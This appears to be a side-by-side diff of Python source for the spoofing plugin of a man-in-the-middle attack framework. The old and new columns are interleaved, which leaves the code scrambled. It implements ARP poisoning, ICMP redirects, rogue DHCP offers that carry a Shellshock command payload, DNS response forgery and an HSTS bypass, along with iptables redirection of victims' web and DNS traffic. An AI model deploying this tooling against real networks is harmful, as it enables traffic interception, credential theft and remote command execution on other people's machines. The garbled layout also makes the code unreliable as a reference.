self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de self.sysconfig = SystemConfig(options.listen)
self.debug = False
self.send = True if options.arp:
if not options.gateway:
if os.geteuid() != 0: sys.exit("[-] --arp argument requires --gateway")
sys.exit("[-] Spoof plugin requires root privileges")
self.sysconfig.set_forwarding(1)
if self.options.log_level == 'debug':
self.debug = True if not options.manualiptables:
self.sysconfig.iptables_flush()
try: self.sysconfig.iptables_http()
self.mac = get_if_hwaddr(self.interface)
except Exception, e: self.arp = _ARP(options.gateway, options.interface, options.mac_address)
sys.exit('[-] Error retrieving interfaces MAC address: %s' % e) self.arp.target = options.target
self.arp.arpmode = options.arpmode
if self.arp: self.arp.debug = debug
if not self.gateway: self.arp.start()
sys.exit("[-] --arp argument requires --gateway")
elif options.icmp:
self.routermac = getmacbyip(self.gateway) if not options.gateway:
sys.exit("[-] --icmp argument requires --gateway")
print "[*] ARP Spoofing enabled" if not options.target:
if self.arpmode == 'req': sys.exit("[-] --icmp argument requires --target")
pkt = self.build_arp_req()
elif self.arpmode == 'rep': self.sysconfig.set_forwarding(1)
pkt = self.build_arp_rep()
if not options.manualiptables:
thread_target = self.send_packets self.sysconfig.iptables_flush()
thread_args = (pkt, self.interface, self.debug,) self.sysconfig.iptables_http()
elif self.icmp: self.icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address)
if not self.gateway: self.icmp.debug = debug
sys.exit("[-] --icmp argument requires --gateway") self.icmp.start()
self.routermac = getmacbyip(self.gateway) elif options.dhcp:
if options.target:
print "[*] ICMP Redirection enabled" sys.exit("[-] --target argument invalid when DCHP spoofing")
pkt = self.build_icmp()
self.sysconfig.set_forwarding(1)
thread_target = self.send_packets
thread_args = (pkt, self.interface, self.debug,) if not options.manualiptables:
self.sysconfig.iptables_flush()
elif self.dhcp: self.sysconfig.iptables_http()
print "[*] DHCP Spoofing enabled"
if self.target: self.dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
sys.exit("[-] --target argument invalid when DCHP spoofing") self.dhcp.shellshock = options.shellshock
self.dhcp.debug = debug
self.rand_number = [] self.dhcp.start()
self.dhcp_dic = {}
self.dhcpcfg = options.configfile['Spoof']['DHCP'] else:
sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")
thread_target = self.dhcp_sniff
thread_args = ()
if (options.dns or options.hsts):
else:
sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp") if not options.manualiptables:
self.sysconfig.iptables_dns()
print "[*] Spoof plugin online"
if not self.manualiptables: self.dns = _DNS(self.dnscfg, self.hstscfg)
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') self.dns.dns = options.dns
self.dns.hsts = options.hsts
if (self.dns or self.hsts): self.dns.start()
print "[*] DNS Tampering enabled"
def add_options(self, options):
if self.dns: group = options.add_mutually_exclusive_group(required=False)
self.dnscfg = options.configfile['Spoof']['DNS'] group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
self.hstscfg = options.configfile['SSLstrip+'] group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
if not self.manualiptables: options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE') options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
options.add_argument('--target', dest='target', default=None, help='Specify a host to poison [default: subnet]')
self.start_dns_queue() options.add_argument('--arpmode', dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
#options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
file = open('/proc/sys/net/ipv4/ip_forward', 'w')
file.write('1') #added by alexander.georgiev@daloo.de
file.close() options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
if not self.manualiptables:
print '[*] Setting up iptables' def finish(self):
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port) if self.options.arp:
self.arp.stop()
#CHarvester = CredHarvester() sleep(3)
t = threading.Thread(name='spoof_thread', target=thread_target, args=thread_args)
#t2 = threading.Thread(name='cred_harvester', target=CHarvester.start, args=(self.interface)) self.arp.arp_inter = 1
if self.target:
t.setDaemon(True) print "\n[*] Re-ARPing target"
t.start() self.arp.reArp_target(5)
def dhcp_rand_ip(self): print "\n[*] Re-ARPing network"
pool = self.dhcpcfg['ip_pool'].split('-') self.arp.reArp_net(5)
trunc_ip = pool[0].split('.'); del(trunc_ip[3])
max_range = int(pool[1]) elif self.options.icmp:
min_range = int(pool[0].split('.')[3]) self.icmp.stop()
number_range = range(min_range, max_range) sleep(3)
for n in number_range:
if n in self.rand_number: if (self.options.dns or self.options.hsts):
number_range.remove(n) self.dns.stop()
rand_number = random.choice(number_range)
self.rand_number.append(rand_number) if not self.manualiptables:
rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number) self.sysconfig.iptables_flush()
return rand_ip self.sysconfig.set_forwarding(0)
def dhcp_callback(self, resp): class SystemConfig():
if resp.haslayer(DHCP):
xid = resp[BOOTP].xid def __init__(self, http_redir_port):
mac_addr = resp[Ether].src
raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) self.http_redir_port = http_redir_port
if xid in self.dhcp_dic.keys():
client_ip = self.dhcp_dic[xid] def set_forwarding(self, value):
else: with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
client_ip = self.dhcp_rand_ip() file.write(str(value))
self.dhcp_dic[xid] = client_ip file.close()
if resp[DHCP].options[0][1] == 1: def iptables_flush(self):
logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
logging.info("Sending DHCP OFFER")
packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') / def iptables_http(self):
IP(src=get_if_addr(self.interface), dst='255.255.255.255') / os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.http_redir_port)
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) / def iptables_dns(self):
DHCP(options=[("message-type", "offer"), os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
('server_id', get_if_addr(self.interface)),
('subnet_mask', self.dhcpcfg['subnet']), class _DHCP():
('router', get_if_addr(self.interface)),
('lease_time', 172800), def __init__(self, interface, dhcpcfg, ip, mac):
('renewal_time', 86400), self.interface = interface
('rebinding_time', 138240), self.ip_address = ip
"end"])) self.mac_address = mac
self.shellshock = None
try: self.debug = False
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) self.dhcpcfg = dhcpcfg
except KeyError: self.rand_number = []
pass self.dhcp_dic = {}
sendp(packet, iface=self.interface, verbose=self.debug) def start(self):
t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,))
if resp[DHCP].options[0][1] == 3: t.setDaemon(True)
logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) t.start()
packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') /
IP(src=get_if_addr(self.interface), dst='255.255.255.255') / def dhcp_sniff(self, interface):
UDP(sport=67, dport=68) / sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface)
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) /
DHCP(options=[("message-type", "ack"), def dhcp_rand_ip(self):
('server_id', get_if_addr(self.interface)), pool = self.dhcpcfg['ip_pool'].split('-')
('subnet_mask', self.dhcpcfg['subnet']), trunc_ip = pool[0].split('.'); del(trunc_ip[3])
('router', get_if_addr(self.interface)), max_range = int(pool[1])
('lease_time', 172800), min_range = int(pool[0].split('.')[3])
('renewal_time', 86400), number_range = range(min_range, max_range)
('rebinding_time', 138240)])) for n in number_range:
if n in self.rand_number:
try: number_range.remove(n)
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) rand_number = random.choice(number_range)
except KeyError: self.rand_number.append(rand_number)
pass rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
if self.shellshock: return rand_ip
logging.info("Sending DHCP ACK with shellshock payload")
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) def dhcp_callback(self, resp):
packet[DHCP].options.append("end") if resp.haslayer(DHCP):
else: xid = resp[BOOTP].xid
logging.info("Sending DHCP ACK") mac_addr = resp[Ether].src
packet[DHCP].options.append("end") raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
if xid in self.dhcp_dic.keys():
sendp(packet, iface=self.interface, verbose=self.debug) client_ip = self.dhcp_dic[xid]
else:
def dhcp_sniff(self): client_ip = self.dhcp_rand_ip()
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=self.interface) self.dhcp_dic[xid] = client_ip
def send_packets(self, pkt, interface, debug): if resp[DHCP].options[0][1] is 1:
while self.send: logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
sendp(pkt, inter=2, iface=interface, verbose=debug) logging.info("Sending DHCP OFFER")
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
def build_icmp(self): IP(src=self.ip_address, dst='255.255.255.255') /
pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=get_if_addr(self.interface)) /\ UDP(sport=67, dport=68) /
IP(src=self.target, dst=self.gateway)/UDP() BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
DHCP(options=[("message-type", "offer"),
return pkt ('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']),
def build_arp_req(self): ('router', self.ip_address),
if self.target is None: ('lease_time', 172800),
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway) ('renewal_time', 86400),
elif self.target: ('rebinding_time', 138240),
target_mac = getmacbyip(self.target) "end"]))
if target_mac is None:
sys.exit("[-] Error: Could not resolve targets MAC address") try:
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target) except KeyError:
pass
return pkt
sendp(packet, iface=self.interface, verbose=self.debug)
def build_arp_rep(self):
if self.target is None: if resp[DHCP].options[0][1] is 3:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2) logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
elif self.target: packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
target_mac = getmacbyip(self.target) IP(src=self.ip_address, dst='255.255.255.255') /
if target_mac is None: UDP(sport=67, dport=68) /
sys.exit("[-] Error: Could not resolve targets MAC address") BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
DHCP(options=[("message-type", "ack"),
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target, op=2) ('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']),
return pkt ('router', self.ip_address),
('lease_time', 172800),
def resolve_domain(self, domain): ('renewal_time', 86400),
try: ('rebinding_time', 138240)]))
#logging.info("Resolving -> %s" % domain)
answer = dns.resolver.query(domain, 'A') try:
real_ips = [] packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
for rdata in answer: except KeyError:
real_ips.append(rdata.address) pass
if len(real_ips) > 0: if self.shellshock:
return real_ips logging.info("Sending DHCP ACK with shellshock payload")
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
except Exception: packet[DHCP].options.append("end")
logging.debug("Error resolving " + domain) else:
logging.info("Sending DHCP ACK")
def nfqueue_callback(self, payload, *kargs): packet[DHCP].options.append("end")
data = payload.get_data()
pkt = IP(data) sendp(packet, iface=self.interface, verbose=self.debug)
if not pkt.haslayer(DNSQR):
payload.set_verdict(nfqueue.NF_ACCEPT) class _ICMP():
else:
#logging.info("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) def __init__(self, interface, target, gateway, ip_address):
if self.dns:
for k, v in self.dnscfg.items(): self.target = target
if k in pkt[DNSQR].qname: self.gateway = gateway
self.modify_dns(payload, pkt, v) self.interface = interface
self.ip_address = ip_address
elif self.hsts: self.debug = False
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): self.send = True
for k,v in self.hstscfg.items(): self.icmp_interval = 2
if v == pkt[DNSQR].qname[:-1]:
ip = self.resolve_domain(k) def build_icmp(self):
if ip: pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
self.modify_dns(payload, pkt, ip) IP(src=self.target, dst=self.gateway)/UDP()
if 'wwww' in pkt[DNSQR].qname: return pkt
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
if ip: def start(self):
self.modify_dns(payload, pkt, ip) pkt = self.build_icmp()
if 'web' in pkt[DNSQR].qname: t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,))
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) t.setDaemon(True)
if ip: t.start()
self.modify_dns(payload, pkt, ip)
def stop(self):
def modify_dns(self, payload, pkt, ip): self.send = False
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ def send_icmps(self, pkt, interface, debug):
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) while self.send:
sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug)
if self.hsts:
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field class _ARP():
for i in ip:
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) def __init__(self, gateway, interface, mac):
logging.info("%s Resolving %s for HSTS bypass" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
self.gateway = gateway
if self.dns: self.gatewaymac = getmacbyip(gateway)
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) self.mac = mac
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) self.target = None
self.targetmac = None
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt)) self.interface = interface
self.arpmode = 'req'
def start_dns_queue(self): self.debug = False
self.q = nfqueue.queue() self.send = True
self.q.set_callback(self.nfqueue_callback) self.arp_inter = 2
self.q.fast_open(0, socket.AF_INET)
self.q.set_queue_maxlen(5000) def start(self):
reactor.addReader(self) if self.gatewaymac is None:
self.q.set_mode(nfqueue.NFQNL_COPY_PACKET) sys.exit("[-] Error: Could not resolve gateway's MAC address")
def fileno(self): if self.target:
return self.q.get_fd() self.targetmac = getmacbyip(self.target)
if self.targetmac is None:
def doRead(self): sys.exit("[-] Error: Could not resolve target's MAC address")
self.q.process_pending(100)
if self.arpmode is 'req':
def connectionLost(self, reason): pkt = self.build_arp_req()
reactor.removeReader(self)
elif self.arpmode is 'rep':
def logPrefix(self): pkt = self.build_arp_rep()
return 'queue'
t = threading.Thread(name='arp_spoof', target=self.send_arps, args=(pkt, self.interface, self.debug,))
def add_options(self, options): t.setDaemon(True)
group = options.add_mutually_exclusive_group(required=False) t.start()
group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') def send_arps(self, pkt, interface, debug):
group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') while self.send:
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries') sendp(pkt, inter=self.arp_inter, iface=interface, verbose=debug)
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') def stop(self):
options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]') self.send = False
options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') def build_arp_req(self):
#options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning') if self.target is None:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
def finish(self): elif self.target:
self.send = False pkt = Ether(src=self.mac, dst=self.targetmac)/\
sleep(3) ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target)
file = open('/proc/sys/net/ipv4/ip_forward', 'w')
file.write('0') return pkt
file.close()
if not self.manualiptables: def build_arp_rep(self):
print '\n[*] Flushing iptables' if self.target is None:
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
elif self.target:
if (self.dns or self.hsts): pkt = Ether(src=self.mac, dst=self.targetmac)/\
try: ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target, op=2)
self.q.unbind(socket.AF_INET)
self.q.close() return pkt
except:
pass def reArp_net(self, count):
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
if self.arp: ARP(psrc=self.gateway, hwsrc=self.gatewaymac, op=2)
print '[*] Re-arping network'
pkt = Ether(src=self.routermac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.gateway, hwsrc=self.routermac, op=2) sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
sendp(pkt, inter=1, count=5, iface=self.interface)
def reArp_target(self, count):
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
ARP(psrc=self.target, hwsrc=self.targetmac, op=2)
sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
class _DNS():
def __init__(self, hstscfg, dnscfg):
self.hsts = False
self.dns = True
self.dnscfg = hstscfg
self.hstscfg = dnscfg
self.nfqueue = NetfilterQueue()
def start(self):
t = threading.Thread(name='dns_nfqueue', target=self.nfqueue_bind, args=())
t.setDaemon(True)
t.start()
def nfqueue_bind(self):
self.nfqueue.bind(1, self.nfqueue_callback, 5000, 3)
self.nfqueue.run()
def stop(self):
try:
self.nfqueue.unbind()
except:
pass
def resolve_domain(self, domain):
try:
logging.debug("Resolving -> %s" % domain)
answer = dns.resolver.query(domain, 'A')
real_ips = []
for rdata in answer:
real_ips.append(rdata.address)
if len(real_ips) > 0:
return real_ips
except Exception:
logging.info("Error resolving " + domain)
def nfqueue_callback(self, payload):
if payload:
print "got packet!"
data = payload.get_payload()
pkt = IP(data)
if not pkt.haslayer(DNSQR):
payload.accept()
else:
logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
if self.dns:
for k, v in self.dnscfg.items():
if k in pkt[DNSQR].qname:
self.modify_dns(payload, pkt, v)
elif self.hsts:
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
for k,v in self.hstscfg.items():
if v == pkt[DNSQR].qname[:-1]:
ip = self.resolve_domain(k)
if ip:
self.modify_dns(payload, pkt, ip)
if 'wwww' in pkt[DNSQR].qname:
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
if ip:
self.modify_dns(payload, pkt, ip)
if 'web' in pkt[DNSQR].qname:
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
if ip:
self.modify_dns(payload, pkt, ip)
def modify_dns(self, payload, pkt, ip):
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
if self.hsts:
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
for i in ip:
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
logging.info("%s Resolving %s for HSTS bypass" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
if self.dns:
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))

View file

@ -8,8 +8,9 @@ class Upsidedownternet(Plugin):
name = "Upsidedownternet" name = "Upsidedownternet"
optname = "upsidedownternet" optname = "upsidedownternet"
desc = 'Flips images 180 degrees' desc = 'Flips images 180 degrees'
has_opts = False
implements = ["handleResponse", "handleHeader"] implements = ["handleResponse", "handleHeader"]
has_opts = False
req_root = False
def initialize(self, options): def initialize(self, options):
from PIL import Image, ImageFile from PIL import Image, ImageFile
@ -17,8 +18,6 @@ class Upsidedownternet(Plugin):
globals()['ImageFile'] = ImageFile globals()['ImageFile'] = ImageFile
self.options = options self.options = options
print "[*] Upsidedownternet plugin online"
def handleHeader(self, request, key, value): def handleHeader(self, request, key, value):
'''Kill the image skipping that's in place for speed reasons''' '''Kill the image skipping that's in place for speed reasons'''
if request.isImageRequest: if request.isImageRequest: